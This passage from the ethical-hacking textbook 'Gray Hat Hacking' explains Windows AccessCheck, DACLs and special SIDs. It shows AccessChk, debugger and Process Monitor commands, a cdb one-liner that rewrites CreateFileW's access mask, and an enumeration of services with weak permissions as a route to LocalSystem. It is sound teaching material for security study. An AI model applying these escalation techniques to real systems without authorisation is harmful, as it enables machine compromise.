same AccessCheck function. For example, anyone who can load a kernel-mode device
driver can effectively take over the system, so it’s important to restrict who can load
device drivers. There is no DACL on any object that talks about loading device drivers.
The API call itself doesn’t have a DACL. Instead, access is granted or denied based on the
SeLoadDriverPrivilege in the token of the calling process.
The privilege check inside AccessCheck is straightforward. If the requested privilege is
in the token of the calling process, the access request is granted. If it is not, the access
request is denied.
AccessCheck’s DACL Check
TheDACL check portion of the AccessCheck function is a little more involved. The caller
of the AccessCheck function will pass in all the information needed to make the DACL
check happen:
• Security descriptor protecting the object, showing who is granted what access
• Token of the process or thread requesting access, showing owner and group
membership
• The specific desired access requested, in form of an access mask
TIP Technically, the DACL check passes these things by reference and also
passes some other stuff, but that’s not super important right now.
For the purpose of understanding the DACL check, the AccessCheck function will go
through something like the process pictured in Figure 16-7 and described in the steps
that follow.
Check Explicit Deny ACEs The first step of the DACL check is to compare the
desiredAccess mask passed in against the security descriptor’s DACL, looking for any
ACEs that apply to the process’s token explicitly denying access. If any single bit of the
desired access is denied, the access check returns “access denied.” Anytime you’re testing
access, be sure to request only the minimum access rights that you really need. We’ll
show an example later of type.exe and notepad.exe returning “access denied” because
they open files requesting Generic Read, which is overkill. You can read files without
some of the access included in Generic Read.
Gray Hat Hacking: The Ethical Hacker’s Handbook
398
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
399
PART IV
Check Inherited Deny ACEs If no ACE explicitly denies access, the
AccessCheck function next looks to the inherited ACEs. If any desiredAccess bit is explicitly
denied, AccessCheck will return “access denied.” However, if any ACE is inherited
denying access, that can be overridden with a grant ACE. So, in this step, regardless of
whether an inherited ACE denies or does not deny, we move on to the next phase.
Check Allow ACEs With the inherited and explicit deny ACEs checked, the
AccessCheck function moves on to the allow ACEs. If every portion of the desiredAccess
flag is not granted to the user SID or group SIDs in the access token, the request is
denied. If each bit of the desired access is allowed, this request moves on to the next
phase.
Figure 16-7 AccessCheck flowchart
Gray Hat Hacking: The Ethical Hacker’s Handbook
400
Check for Presence of Restricted Tokens Even if all the access has been
granted through explicit or inherited ACEs, the AccessCheck function still needs to
check for restricted SIDs in the token. If we’ve gotten this far and there are no restricted
tokens in the SID, access is granted. The AccessCheck function will return a nonzero
value and will set the passed-in access mask to the granted result. If any restricted SIDs
are present in the token, the AccessCheck function needs to first check those before
granting or denying access.
Check Restricted SIDs Access Rights With restricted SIDs in the token, the
same allow ACE check made earlier is made again. This time, only the restricted SIDs
present in the token are used in the evaluation. That means that for access to be granted,
access must be allowed either by an explicit or inherited ACE to one of the restricted
SIDs in the token.
Unfortunately, there isn’t a lot of really good documentation on how restricted
tokens work. Check the “References” section that follows for blogs and MSDN articles.
The idea is that the presence of a restricted SID in the token causes the AccessCheck function
to add an additional pass to the check. Any access that would normally be granted
must also be granted to the restricted token if the process token has any restricted SIDs.
Access will never be broadened by the restricted token check. If the user requests the max
allowed permissions to the HKCU registry hive, the first pass will return Full Control,
but the restricted SIDs check will narrow that access to read-only.
References
Running restricted—What does the “protect my computer” option mean?
http://blogs.msdn.com/aaron_margosis/archive/2004/09/10/227727.aspx
The Access Check http://blogs.msdn.com/larryosterman/archive/2004/09/14/229658.aspx
Tools for Analyzing Access Control
Configurations
With the concept introduction out of the way, we’re getting closer to the fun stuff. Before
we can get to the attacks, however, we must build up an arsenal of tools capable of
dumping access tokens and security descriptors. As usual, there’s more than one way to
do each task. All the enumeration we’ve shown in the figures so far was done with free
tools downloadable from the Internet. Nothing is magic in this chapter or in this book.
We’ll demonstrate each tool we used earlier, show you where to get them, and show you
how to use them.
Dumping the Process Token
The two easiest ways to dump the access token of a process or thread are Process Explorer
and the !token debugger command. Process Explorerwas built by SysInternals, whichwas
acquired by Microsoft in 2006. We’ve shown screenshots (Figure 16-1 and Figure 16-3)
already of Process Explorer, but let’s go through driving the UI of it now.
Process Explorer
The Process Explorer homepage is www.microsoft.com/technet/sysinternals/utilities/
ProcessExplorer.mspx. Scroll to the bottom of that page and you’ll find a 1.5MB .zip file
to download. When you run procexp.exe, after accepting the EULA, you’ll be presented
with a page of processes similar to Figure 16-8.
This hierarchical tree view shows all running processes. The highlighting is blue for
processes running as you, and pink for processes running as a service. Double-clicking
one of the processes brings up more detail, including a human-readable display of the
process token, as seen in Figure 16-9.
PART IV
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
401
Figure 16-8 Process Explorer
Process Explorer makes it easy to display the access token of any running process. It’s
one of the few tools that I always put on the Quick Launch bar of every machine where I
work.
!token in the Debugger
If you have the Windows debugger installed, you can attach to any process and dump its
token quickly and easily with the !token debugger command. It’s not quite as pretty as
the Process Explorer output but it gives all the same information. Let’s open the same
rapimgr.exe process from Figure 16-9 in the debugger. You can see from the Process
Explorer title bar that the process ID is 2428, so the debugger command-line to attach to
this process (assuming you’ve installed the debugger to c:\debuggers) would be c:\
debuggers\ntsd.exe –p 2428. Windows itself ships with an old, old version of ntsd that
does not have support for the !token command, so be sure to use the version of the
debugger included with the Windows debugging tools, not the built-in version. If you
launch the debugger correctly, you should see output similar to Figure 16-10.
Gray Hat Hacking: The Ethical Hacker’s Handbook
402
Figure 16-9 Process Explorer token display
PART IV
You can issue the !token debugger command directly from this initial break-in. The
–n parameter to the !token command will resolve the SIDs to names and groups. The
output from a Windows XP machine is captured in Figure 16-11.
This is mostly the same information as presented in the Process Explorer Security tab.
It’s handy to see the actual SIDs here, which are not displayed by Process Explorer. You
can also see the Impersonation Level, which shows whether this process can pass the credentials
of the user to remote systems. In this case, rapimgr.exe is running as jness, but its
Impersonation Level does not allow it to authenticate with those credentials remotely.
TIP To detach the debugger, use the command qd (quit-detach). If you quit
with the q command, the process will be killed.
Dumping the Security Descriptor
Let’s next examine object DACLs. The Windows Explorer built-in security UI actually
does a decent job displaying file-system object DACLs. You’ll need to click through several
prompts, as we did in Figure 16-6 earlier, but once you get there, you can see exactly
what access is allowed or denied to whom. However, it’s awfully tedious to work
through so many dialog boxes. The free downloadable alternatives are SubInACL from
Microsoft, and AccessCheck, written by SysInternals, acquired by Microsoft. SubInACL
gives more detail but AccessChk is significantly friendlier to use. Let’s start by looking at
how AccessChk works.
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
403
Figure 16-10 Windows debugger
Gray Hat Hacking: The Ethical Hacker’s Handbook
404
Dumping ACLs with AccessChk
AccessChk will dump the DACL on files, registry keys, processes, or services. We’ll also
be building our attack methodology in the next section around AccessChk’s ability to
show the access a certain user or group has to a certain resource. Version 4 of AccessChk,
which should be released by the time this book is published, adds support for sections,
mutants, events, keyed events, named pipes, semaphores, and timers. Figure 16-12 demonstrates
how to dump theDACL of our C:\Program Files directory that we decomposed
earlier. A little faster this way…
Dumping ACLs with SubInACL
The output from SubInACL is not as clean as AccessChk’s but you can use it to change
the ACEs within the DACL on-the-fly. It’s quite handy for messing with DACLs. The
SubInACL display of the C:\Program Files DACL is shown in Figure 16-13. As you can
see, it’s more verbose, with some handy additional data shown (DACL control flags,
object owner, inheritance flags, etc.).
Figure 16-11 Windows debugger !token display
PART IV
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
405
Figure 16-12 AccessChk directory DACL
Figure 16-13 SubInACL directory DACL
Gray Hat Hacking: The Ethical Hacker’s Handbook
406
Dumping ACLs with the Built-In Explorer UI
And finally, you can display the DACL by using the built-in Advanced view from Windows
Explorer. We’ve displayed it once already in this chapter (see Figure 16-6). Notice
in this UI there are various options to change the inheritance flags for each ACE and the
DACL control flags. You can experiment with the different values for the “Apply onto”
drop-down and the checkboxes that will change inheritance.
Special SIDs, Special Access, and “Access Denied”
Now, one third of the way through the chapter, we’ve discussed all the basic concepts
you’ll need to understand to attack this area. You also are armed with tools to enumerate
the access control objects that factor into AccessCheck. It’s time now to start talking
about the “gotchas” of access control and then start into the attack patterns.
Special SIDs
You are now familiar with the usual cast of SIDs. You’ve seen the JNESS2\jness user SID
several times. You’ve seen the SID of the Administrators and Users groups and how the
presence of those SIDs in the token changes the privileges present and the access
granted. You’ve seen the LocalSystem SID. Let’s discuss several other SIDs that might trip
you up.
Everyone
Is the SID for the Everyone group really in every single token? It actually depends. The registry
value HKLM\SYSTEM\CurrentControlSet\Control\Lsa\everyoneincludesanonymous
can be either 0 or 1. Windows 2000 included the anonymous user in the Everyone
group, while XP, Windows Server 2003, and Vista do not. So on post-Win2K systems,
processes that make null IPC$ connections and anonymous website visits do not have
the Everyone group in their access token.
Authenticated Users
The SID of the Authenticated Users group is present for any process whose owner
authenticated onto the machine. This makes it effectively the same as the Windows XP
and Windows Server 2003 “Everyone” group, except that it doesn’t contain the Guest
account.
Authentication SIDs
In attacking Windows Access Control, you might see access granted or denied based on
the authentication SID. Some common authentication SIDs are INTERACTIVE,
REMOTE INTERACTIVE, NETWORK, SERVICE, and BATCH. Windows includes these
SIDs into tokens based on how or from where the process reached the system. The following
table from TechNet describes each SID.
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
407
PART IV
INTERACTIVE
and
REMOTE
INTERACTIVE
A group that includes all users who log on interactively. A user can start an
interactive logon session by logging on directly at the keyboard, by opening a
Remote Desktop connection from a remote computer, or by using a remote
shell such as telnet. In each case, the user’s access token contains the
Interactive SID. If the user logs on using a Remote Desktop connection, the
user’s access token also contains the Remote Interactive Logon SID.
NETWORK A group that includes all users who are logged on by means of a network
connection. Access tokens for interactive users do not contain the Network
SID.
SERVICE A group that includes all security principals that have logged on as a service.
BATCH A group that includes all users who have logged on by means of a batch queue
facility, such as task scheduler jobs.
These SIDs end up being very useful to grant intended access while denying undesired
access. For example, during the Windows Server 2003 development cycle,
Microsoft smartly realized that the command-line utility tftp.exe was a popular way for
exploits to download malware and secure a foothold on a compromised system.
Exploits could count on the TFTP client being available on every Windows installation.
Let’s compare the Windows XPDACL on tftp.exe to the Windows Server 2003DACL (see
Figure 16-14).
Figure 16-14 tftp.exe DACL on Windows XP and Windows Server 2003
The Users SID allow ACE in Windows XP was removed and replaced in Windows
Server 2003 with three Interactive SID allow ACEs granting precisely the access
intended—any interactive logon, services, and batch jobs. In the event of a web-based
application being exploited, the compromised IUSR_* or ASPNET account would have
access denied when attempting to launch tftp.exe to download more malware. This was
a clever use of authentication SID ACEs on Microsoft’s part.
LOGON SID
Isolating one user’s owned objects from another user’s is pretty easy—you just ACL the
items granting only that specific user access.However, Windows would like to create isolation
between multiple Terminal Services logon sessions by the same user on the same
machine. Also, user A running a process as user B (with RunAs) should not have access
to other securable objects owned by user B on the same machine. This isolation is created
with LOGON SIDs. Each session is given a unique LOGON SID in its token allowing
Windows to limit access to objects to only processes and threads having the same
LOGON SID in the token. You can see earlier in the chapter that Figures 16-1, 16-9, and
16-11 each were screenshots from a different logon session because they each display a
different logon SID (S-1-5-5-0-62700, S-1-5-5-0-65057, and S-1-5-5-0-13131582).
Special Access
There are a couple DACL special cases you need to know about before you start
attacking.
Rights of Ownership
An object’s owner can always open the object for READ_CONTROL and WRITE_DAC
(the right to modify the object’s DACL). So even if the DACL has deny ACEs, the owner
can always open the object for READ_CONTROL and WRITE_DAC. This means that
anyone who is the object’s owner or who has the SeTakeOwnership privilege or the
WriteOwner permission on an object can always acquire Full Control of an object.
Here’s how:
• The SeTakeOwnership privilege implies WriteOwner permission.
• WriteOwner means you can set the Owner field to yourself or to any entity who
can become an owner.
• An object’s owner always has the WRITE_DAC permission.
• WRITE_DAC can be used to set the DACL to grant Full Control to the new
owner.
NULL DACL
APIs that create objects will use a reasonable default DACL if the programmer doesn’t specify
a DACL. You’ll see the default DACL over and over again as you audit different objects.
However, if a programmer explicitly requests a NULL DACL, everyone is granted access.
Gray Hat Hacking: The Ethical Hacker’s Handbook
408
More specifically, any desired access requested through the AccessCheck function will
always be granted. It’s the same as creating a DACL granting Everyone full control.
Even if software intends to grant every user complete read/write access to a resource,
it’s still not smart to use a NULL DACL. This would grant any users WriteOwner, which
would give them WRITE_DAC, which would allow them to deny everyone else access.
Investigating “Access Denied”
When testing access control, try to always enumerate the token and ACL so you can
think through the AccessCheck yourself. Try not to rely on common applications to test
access. For example, if type secret.txt returns “access denied,” it’d be logical to think you
have been denied FILE_READ_DATA access, right?Well, let’s walk through that scenario
and see what else could be the case.
For this example scenario, we’ll create a new file, lock down access to that file, and
then investigate the access granted to determine why the AccessCheck function returns
“access denied” when we use the built-in type utility to read the file contents. This will
require some Windows Explorer UI navigation, so we’ve included screenshots to illustrate
the instructions.We’ll also be downloading a new tool that will help to investigate
why API calls fail with “access denied.”
• Step 1: Create a new file.
echo "this is a secret" > c:\temp\secret.txt
• Step 2 (Optional): Enumerate the default DACL on the file.
Figure 16-15 shows the accesschk.exe output.
• Step 3: Remove all ACEs. This will create an empty DACL (different from a
NULL DACL).
The Figure 16-15 ACEs are all inherited. It takes several steps to remove all
the inherited ACEs if you’re using the built-in Windows Explorer UI. You
can see the dialog boxes in Figure 16-16. Start by right-clicking secret.txt
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
409
PART IV
Figure 16-15 c:\temp\secret.txt file DACL
(1) to pull up Properties. On the Security tab, click the Advanced button (2). In
the Advanced Security Settings, uncheck “Inherit from parent…” (3). On the
resulting Security dialog box, choose to Remove (4) the parent permissions.
You’ll need to confirm that “Yes, you really want to deny everyone access to
secret.” Finally, click OK on every dialog box and you’ll be left with an empty
dialog box.
• Step 4: Grant everyone FILE_READ_DATA and FILE_WRITE_DATA access.
Go back into the secret.txt Security Properties and click Add to add a new ACE.
Type Everyone as the object name and click OK. Click Advanced and then
“Edit” the ACE on the Advanced Security Settings dialog box. Click the Clear All
button to clear all rights. Choose to Allow “List Folder / Read Data” and “Create
Files / Write Data”. You should be left with a Permission Entry dialog box that
looks like Figure 16-17. Then click OK on each dialog box that is still open.
Gray Hat Hacking: The Ethical Hacker’s Handbook
410
Figure 16-16 Removing all ACEs from c:\temp\secret.txt
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
411
PART IV
• Step 5: Confirm that the DACL includes FILE_READ_DATA and test access.
As you see in Figure 16-18, the DACL includes an ACE that allows both read
and write access. However, when we go to view the contents, AccessCheck is
returning “access denied.” If you’ve followed along and created the file with this
DACL yourself, you can also test notepad.exe or any other textfile viewing
utility to confirm that they all return “access denied.”
Figure 16-17 Windows permissions display for c:\temp\secret.txt
Figure 16-18 AccessChk permissions display for c:\temp\secret.txt
• Step 6: Investigate why the AccessCheck is failing.
To investigate, examine (a) the DACL, (b) the token, and (c) the desiredAccess.
Those are the three variables that go into the AccessCheck function. Figure 16-18
shows that Everyone is granted FILE_READ_DATA and FILE_WRITE_DATA access.
MSDN tells us that the FILE_READ_DATA access right specifies the right to read
from a file. Earlier in the chapter, you saw that the main token for the JNESS2\jness
logon session includes the Everyone group. This particular cmd.exe inherited that
token from the explorer.exe process that started the cmd.exe process. The final
variable is the desiredAccess flag. How do we know what desiredAccess an
application requests? Mark Russinovich wrote a great tool called FileMon to audit
all kinds of file system activity. This functionality was eventually rolled into a newer
utility called Process Monitor, which we’ll take a look at now.
Process Monitor
Process Monitor is an advanced monitoring tool for Windows that shows real-time file
system, registry, and process/thread activity. You can download it from
www.microsoft.com/technet/sysinternals/utilities/processmonitor.mspx. Just scroll to
the bottom of the page and click the Download Process Monitor link. When you run
Process Monitor, it will immediately start capturing all kinds of events.However, for this
example, we only want to figure out what desiredAccess is requested when we try to
open secret.txt for reading. We’ll filter for only relevant events so that we can focus on
the secret.txt operations and not be overloaded with the thousands of other events being
captured. Click Filter and then add a Filter specifying “Path contains secret.txt”. Then
click the Add button and then OK. You can see that filter rule being built in Figure 16-19.
Gray Hat Hacking: The Ethical Hacker’s Handbook
412
Figure 16-19 Building a Process Monitor filter
With the filter rule in place, Process Monitor should have an empty display. Go back
to the command prompt and try the type c:\temp\secret.txt command again to allow
Process Monitor to capture the event that you see in Figure 16-20.
Aha! Process Monitor tells us that our operation to view the contents of the file is
actually attempting to open for Generic Read. If we take another quick trip to MSDN, we
remember that FILE_GENERIC_READ includes FILE_READ_DATA, SYNCHRONIZE,
FILE_READ_ATTRIBUTES, and FILE_READ_EA. We granted Everyone FILE_READ_
DATA and SYNCHRONIZE access rights earlier, but we did not grant access to the file
attributes or extended attributes. This is a classic case of a common testing tool requesting
too much access. AccessCheck correctly identified that all the access rights requested
were not granted in the DACL so it returned “access denied.”
Because this is a hacking book, we know that you won’t be satisfied until you find a
way to get access to this file, so we’ll close the loop now before finally moving on to real
hacking.
Precision desiredAccess Requests
There are two ways you can get to the contents of the secret.txt file. Neither is a trivial
GUI-only task. First, you could write a small C program that opens the file appropriately
requesting only FILE_READ_DATA and then streams out the file contents to the console.
You’ll need to have a compiler set up to do this. Cygwin is a relatively quick-to-set-up
compiler and it will build the sample code suitably. The second way to get access to the
secret.txt file contents is to attach the debugger to the process requesting too much
access, set a breakpoint on kernel32!CreateFileW, and modify the desiredAccess field in
memory. The access mask of the desiredAccess will be at esp+0x8 when the
kernel32!CreateFileW breakpoint is hit.
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
413
PART IV
Figure 16-20 Process Monitor log of type c:\temp\secret.txt
Gray Hat Hacking: The Ethical Hacker’s Handbook
414
Building a Precision desiredAccess Request Test Tool in C The C tool
is easy to build.We’ve included sample code next that opens a file requesting only FILE_
READ_DATA access. The code isn’t pretty but it will work.
#include
#include
main() {
HANDLE hFile;
char inBuffer[1000];
int nBytesToRead = 999;
int nBytesRead = 0;
hFile = CreateFile(TEXT("C:\\temp\\secret.txt"), // file to open
FILE_READ_DATA, // access mask
FILE_SHARE_READ, // share for reading
NULL, // default security
OPEN_EXISTING, // existing file only
FILE_ATTRIBUTE_NORMAL, // normal file
NULL); // no attr. template
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Could not open file (error %d)\n", GetLastError());
return 0;
}
ReadFile(hFile, inBuffer, nBytesToRead, (LPDWORD)&nBytesRead, NULL);
printf("Contents: %s",inBuffer);
}
If you save the preceding code as supertype.c and build and run supertype.exe, you’ll
see that FILE_READ_DATA allows us to view the contents of secret.txt, as shown in
Figure 16-21.
And, finally, you can see in the Process Monitor output in Figure 16-22 that we no
longer request Generic Read. However, notice that we caught an antivirus scan
(svchost.exe, pid 1280) attempting unsuccessfully to open the file for Generic Read just
after supertype.exe accesses the file.
Figure 16-21 Compiling supertype.c under Cygwin
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
415
PART IV
TIP Notice that the DesiredAccess also includes Read Attributes.We did
not set Read Attributes explicitly and you do not see it in the AccessChk
output, so you might expect the AccessCheck to fail. However, it turns out
that FILE_LIST_DIRECTORY granted on the parent directory implies FILE_
READ_ATTRIBUTES on all child objects. Another similar linked privilege—FILE_DELETE_
CHILD—on a directory grants DELETE permission on the files within that directory.
Using Debugger Tricks to Change the desiredAccess Requested If
you don’t have a compiler or don’t want to use one, you can use the debugger as a tool to
change the desiredAccess flags for you on-the-fly to correct the excessive access
requested. Here’s the basic idea:
• If you set a breakpoint on kernel32!CreateFileW, it will get hit for every file
open request.
• The Windows debugger can run a script each time a breakpoint is hit.
• CreateFileW takes a dwDesiredAccess 32-bit mask as its second parameter.
• The second parameter to CreateFileW is always in the same place relative to the
frame pointer (esp+0x8).
• The Windows debugger can enter values into memory at any relative address
(like esp+0x8).
• Instead of requesting a specific access mask, you can request MAXIMUM_
ALLOWED (0x02000000), which will grant whatever access you can get.
To make this trick work, you’ll need to have the debugger set up and have your symbols
path set to the public symbols server. You can see in Figure 16-23 how we set our
symbols path and then launched the debugger.
Figure 16-22 Process Monitor log of supertype.exe
Gray Hat Hacking: The Ethical Hacker’s Handbook
416
Here’s how to interpret the debugger command:
cdb –G –c "bp kernel32!CreateFileW """kb1;ed esp+0x8 02000000;kb1;g"""" cmd
/C type secret.txt
-G Ignore the final breakpoint on process termination. This makes
it easier to see the output.
-c " [debugger script]" Run [debugger script] after starting the debugger.
bp kernel32!CreateFileW
""" [commands]""""
Set a breakpoint on kernel32!CreateFileW. Every time the
breakpoint is hit, run the [commands].
kb1 Show top frame in stack trace along with the first 3
parameters.
ed esp+0x8 02000000 Replace the 4 bytes at address esp+0x8 with the static value
02000000.
kb1 Show the top frame in the stack trace again with the first 3
parameters. At this point, the second parameter
(dwDesiredAccess) should have changed.
G Resume execution.
cmd /C type secret.txt Debug the command type secret.txt and then exit.We are
introducing the cmd /C because there is no type.exe.Type is a
built-in command to the Windows shell. If you run a real .exe
(like notepad—try that for fun), you don’t need the “cmd /C”.
Figure 16-23 Using the debugger to change the desiredAccess mask
type secret.txt ends up calling CreateFileW twice, both times with desiredAccess set
to 0x80000000 (Generic Read). Both times, our breakpoint script switched the access to
0x02000000 (MAXIMUM_ALLOWED). This happened before the AccessCheck function
ran, so the AccessCheck always happened with 0x02000000, not 0x80000000. The
same thing will work with notepad.exe. With the FILE_WRITE_DATA ACE that we set
earlier, you can even modify and save the file contents.
Analyzing Access Control
for Elevation of Privilege
With all that background foundation understood, you’re finally ready to learn how to
attack! All the file read access discussion earlier was to help you understand concepts.
The attack methodology and attack process are basically the same no matter the
resource type.
• Step 1: Enumerate the object’s DACL and look for access granted to nonadmin
SIDs.
We look for non-admin SIDs because attacks that require privileged access to
pull off are not worth enumerating. Group those non-admin SIDs in the DACL
into untrusted and semi-trusted users. Untrusted users are Users, Guest,
Everyone, Anonymous, INTERACTIVE, and so on. Semi-trusted users are
interesting in the case of a multistage attack. Semi-trusted users are LocalService,
NetworkService, Network Config Operators, SERVICE, and so on.
• Step 2: Look for “power permissions.”
We’ve really only looked at files so far but each resource type has its own set of
“power permissions.” The permissions that grant write access might grant
elevation of privilege. The read disposition permissions will primarily be
information disclosure attacks. Execute permissions granted to the wrong user
or group can lead to denial of service or attack surface expansion.
• Step 3: Determine accessibility.
After you spot a DACL that looks weak, you need to determine whether it’s
accessible to an attacker. For example, services can be hit remotely via the
service control manager. Files, directories, and registry keys are also remotely
accessible. Some attackable kernel objects are only accessible locally but are still
interesting when you can read them across sessions. Some objects are just not
accessible at all, so are not interesting to us (unnamed objects, for example).
• Step 4: Apply attack patterns, keeping in mind who uses the resource.
Each resource type will have its own set of interesting ACEs and its own attack
pattern.
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
417
PART IV
Attack Patterns for Each
Interesting Object Type
Let’s apply the analysis methodology to real objects and start finding real security vulnerabilities.
The following sections will list DACL enumeration techniques, then the
power permissions, and then will demonstrate an attack.
Attacking Services
Services are the simplest object type to demonstrate privilege escalation, so we’ll start
here. Let’s step through our attack process.
Enumerating DACL of a Windows Service
We’ll start with the first running service on a typical Windows XP SP2 system.
C:\tools>net start
These Windows services are started:
Alerter
Application Layer Gateway Service
Ati HotKey Poller
Automatic Updates
...
We used AccessChk.exe earlier to enumerate file system DACLs and it works great for
service DACLs as well. Pass it the –c argument to query Windows services by name.
C:\tools>accesschk.exe -c alerter
AccessChk v4.0 - Check access of files, keys, objects, processes or services
Copyright (C) 2006-2007 Mark Russinovich
Sysinternals - www.sysinternals.com
alerter
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R NT AUTHORITY\Authenticated Users
R BUILTIN\Power Users
AccessChk tells us there are four ACEs in this DACL, two having read-only privileges
and two having read-write privileges. Passing the –v option to AccessChk will show us
each individual access right granted inside each ACE. Also, from now on, we’ll pass the
–q option to omit the banner.
C:\tools>accesschk.exe -q -v -c alerter
alerter
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
R NT AUTHORITY\Authenticated Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
Gray Hat Hacking: The Ethical Hacker’s Handbook
418
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
R BUILTIN\Power Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
You can see here that names of the access rights granted in service DACLs are significantly
different from the names of the access rights granted in the file system DACLs.
Given the name of each access right, you could probably guess what type of access is
granted, but instead let’s go to MSDN and enumerate each write, read, and execute permission.
For each one, we’ll briefly discuss the security ramifications of granting the
right to an untrusted entity.
“Write” Disposition Permissions of a Windows Service
SERVICE_CHANGE_
CONFIG
Direct elevation of privilege. Allows attacker to completely configure the
service. Attacker can change the binary to be run and the account from
which to run it. Allows escalation to LocalSystem and machine
compromise (see demonstration that follows).
WRITE_DAC Direct elevation of privilege. Allows attackers to rewrite the DACL,
granting SERVICE_CHANGE_CONFIG to themselves. From there,
attackers can reconfigure the service and compromise the machine.
WRITE_OWNER Direct elevation of privilege. Allows attackers to become the object
owners. Object ownership implies WRITE_DAC. WRITE_DAC allows
attackers to give themselves SERVICE_CHANGE_CONFIG to reconfigure
the service and compromise the machine.
GENERIC_WRITE Direct elevation of privilege. GENERIC_WRITE includes SERVICE_
CHANGE_CONFIG allowing an attacker to reconfigure the service and
compromise the machine.
GENERIC_ALL Direct elevation of privilege. GENERIC_ALL includes SERVICE_
CHANGE_CONFIG allowing an attacker to reconfigure the service and
compromise the machine.
DELETE Likely elevation of privilege. Allows attackers to delete the service
configuration and attackers will likely have permission to replace it with
their own.
As you can see, permissions that grant write access result in rewriting the service configuration
and grant immediate and direct elevation of privilege.We’ll demonstrate this
attack after we finish reviewing the other permissions.
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
419
PART IV
“Read” Disposition Permissions of a Windows Service
SERVICE_QUERY_CONFIG Information disclosure. Allows attacker to show the service
configuration. This reveals the binary being run, the account being
used to run the service, the service dependencies, and the current
state of the service (running, stopped, paused, etc.).
SERVICE_QUERY_STATUS Information disclosure. Allows attacker to know the current state
of the service (running, stopped, paused, etc.).
SERVICE_ENUMERATE_
DEPENDENTS
Information disclosure. Allows attacker to know which services
are required to be running for this service to start.
SERVICE_INTERROGATE Information disclosure. Allows attacker to query the service for
its status.
GENERIC_READ Information disclosure. Includes all four access rights just listed.
These permissions granted to an untrusted user are not as dangerous. In fact, the
default DACL grants them to all local authenticated users.
“Execute” Disposition Permissions of a Windows Service
SERVICE_START Attack surface increase. Allows an attacker to start a service that
had been stopped.
SERVICE_STOP Possible denial of service. Allows an attacker to stop a running
service.
SERVICE_PAUSE_
CONTINUE
Possible denial of service. Allows an attacker to pause a running
service or continue a paused service.
SERVICE_USER_DEFINED Possible denial of service. Effect of this permission depends on the
service.
An attacker might find it mildly interesting to stop or pause services to create a denial
of service. However, if an attacker has an unpatched security vulnerability involving a
service that happens to be stopped, starting it is very interesting! These permissions are
typically not granted to everyone.
Finding Vulnerable Services
As attackers, we want to find those juicy write disposition power permissions granted to
untrusted or semi-trusted users. As defenders, we want to look out for those write disposition
power permissions so we can deny them to attackers. Gray Hat Hacking does not
disclose zero-day vulnerabilities, so we’ll do our enumeration on an old Windows XP
SP1 computer that isn’t fully patched. The vulnerabilities shown here are old but you
can use the same technique to enumerate weak service DACLs in your environment.
Gray Hat Hacking: The Ethical Hacker’s Handbook
420
AccessChk is going to help us with this enumeration by querying all services (-c*)
and by returning only those ACEs with write access (-w).We’ll use findstr /V to filter out
Administrators and SYSTEM from our results.
C:\tools>accesschk.exe -q -w -c * | findstr /V Admin | findstr /V SYSTEM
Dhcp
RW BUILTIN\Network Configuration Operators
Dnscache
RW BUILTIN\Network Configuration Operators
MSDTC
RW NT AUTHORITY\NETWORK SERVICE
SCardDrv
RW NT AUTHORITY\LOCAL SERVICE
RW S-1-5-32-549
SCardSvr
RW NT AUTHORITY\LOCAL SERVICE
RW S-1-5-32-549
SSDPSRV
RW NT AUTHORITY\Authenticated Users
RW BUILTIN\Power Users
upnphost
RW NT AUTHORITY\Authenticated Users
RW BUILTIN\Power Users
RW NT AUTHORITY\LOCAL SERVICE
Wmi
RW BUILTIN\Power Users
This output has been edited to omit all the uninteresting services. The eight services
in this list are worth investigating. AccessChk will accept a user or group name as a
parameter and return results specifically for that user or group. Let’s start with the dhcp
and dnscache services, which appear to be configured the same way.
C:\tools>accesschk.exe -q -v -c "network configuration operators" dnscache
RW dnscache
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
Yep, SERVICE_CHANGE_CONFIG is present in the ACE for the Network Configuration
Operators group. This group was added in Windows XP to allow a semi-trusted
group of users to change TCP/IP and remote access settings. This weak DACL vulnerability,
however, allows anyone in the group to elevate to LocalSystem. Microsoft fixed this
one with security bulletin MS06-011. There are no users in the Network Configuration
Operators group, so there is no privilege escalation to demonstrate with the dhcp or
dnscache services.
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
421
PART IV
Gray Hat Hacking: The Ethical Hacker’s Handbook
422
On Windows 2000 and NT, all services run as the most powerful account,
LocalSystem. Starting with Windows XP, some services run as LOCAL SERVICE, some as
NETWORK SERVICE, and some continued to run as the all-powerful LocalSystem. Both
LOCAL SERVICE and NETWORK SERVICE have limited privileges on the system and
don’t belong to any of the “power groups.” You can use Process Explorer or the debugger
to inspect the token of a NETWORK SERVICE or LOCAL SERVICE process. This privilege
reduction, in theory, limits the damage of a service compromised by attackers. Imagine
attackers exploiting a service buffer overrun for a remote command prompt but then not
being able to install their driver-based rootkit. In practice, however, there are ways to elevate
from LOCAL SERVICE to LocalSystem, just as there are ways to elevate from Power
User to Administrator. Windows service configuration is one of those ways. We can see
